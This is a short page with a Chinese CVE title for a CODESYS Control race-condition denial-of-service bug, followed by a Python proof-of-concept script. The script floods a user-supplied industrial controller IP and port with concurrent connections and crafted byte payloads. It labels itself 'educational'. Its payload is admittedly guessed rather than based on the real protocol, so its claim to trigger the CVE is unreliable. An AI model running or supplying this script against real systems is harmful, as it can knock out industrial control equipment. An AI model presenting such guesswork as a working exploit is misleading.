CVE-2025-41739: CODESYS Control Linux/QNX 通信服务器竞态条件漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-41739 PoC - CODESYS Control Race Condition DoS This PoC demonstrates sending malformed socket packets to trigger the race condition vulnerability in CODESYS Control communication servers. Note: This is for educational and authorized testing purposes only. """ import socket import struct import time import threading import sys def send_malformed_packet(target_ip, target_port, packet_count=100): """ Send crafted packets to trigger race condition The actual packet structure depends on CODESYS protocol analysis """ try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Crafted packet to trigger out-of-bounds read # Based on CVE description: malformed socket communication for i in range(packet_count): # Malformed CODESYS protocol packet payload = b'\x00' * 100 + bytes([i % 256]) * 50 s.send(payload) time.sleep(0.001) # Rapid sending to trigger race condition s.close() return True except Exception as e: return False def exploit_race_condition(target_ip, target_port, threads=10): """ Launch concurrent connections to maximize race condition window """ print(f"[*] Starting race condition attack on {target_ip}:{target_port}") threads_list = [] for i in range(threads): t = threading.Thread( target=send_malformed_packet, args=(target_ip, target_port, 50) ) threads_list.append(t) t.start() for t in threads_list: t.join() print("[*] Attack completed") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) exploit_race_condition(target_ip, target_port)